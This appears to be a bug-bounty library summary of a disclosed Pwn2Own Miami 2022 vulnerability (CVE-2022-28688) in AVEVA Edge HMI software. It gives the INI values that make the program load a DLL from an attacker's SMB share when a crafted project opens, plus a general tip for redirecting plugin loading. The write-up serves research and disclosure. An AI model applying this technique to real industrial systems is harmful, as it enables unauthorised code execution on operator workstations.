# Pwn2Own Miami 2022: AVEVA Edge Arbitrary Code Execution

AVEVA Edge loads communication driver DLLs from a path taken from the project INI file, allowing a malicious .app project to load an attacker DLL from a UNC share and execute code.

- Payout: unconfirmed
- Severity: high
- Program: AVEVA
- Credited: Daan Keuper, Thijs Alkemade
- Disclosed: 2022-09-08
- CVE: CVE-2022-28688
- Write-up quality: 7/10
- Original: https://sector7.computest.nl/post/2022-09-aveva-edge/
- Library page: https://bugbountylibrary.com/r/blog%3Asector7-computest-nl-post-2022-09-aveva-edge
- Tags: domain:desktop impact:rce kind:bounty platform:blog sev:high tech:windows technique:source-review vuln:path-traversal vuln:rce

**Target:** HMI project file (.app INI) driver loading in Studio.dll
**Root cause:** The [UsedDrivers] Task0 value from the project INI is used as a driver name/path without sanitization, so relative traversal or a UNC path causes an arbitrary DLL to be loaded from an attacker-controlled location.
**Steps:**
1. Create a project .app INI with `[UsedDrivers]` `Count=1` `Task0=Driver ..\Computest` and observe the app attempts to load a DLL outside the Drv directory.
2. Host a malicious DLL on an SMB share (e.g. `\\<IP>\shared\Sector7`).
3. Set `Task0=Driver \\<IP>\shared\Sector7` in the project file.
4. Open the project in AVEVA Edge; the DLL is loaded and DllMain runs (e.g. CreateProcessA calc.exe).
**How found:** Enumerated attack surface reachable without clicks; noted drivers are DLLs loaded automatically on project open. Inspected the .app INI [UsedDrivers] section and used Procmon to see drivers loaded from the Drv directory, then hypothesized path traversal by injecting `..\` into the driver name.
**Exploitation:** Attacker delivers a crafted .app project file; on open, AVEVA Edge resolves the driver path from the INI, loads the attacker DLL from a UNC/SMB share, and executes its DllMain without further user interaction.
**Insight:** When a config/INI field names a plugin or driver, test whether it is treated as a bare name or a path: inject `..\` and UNC paths to redirect loading to attacker-controlled DLLs, and use Procmon to confirm the load directory.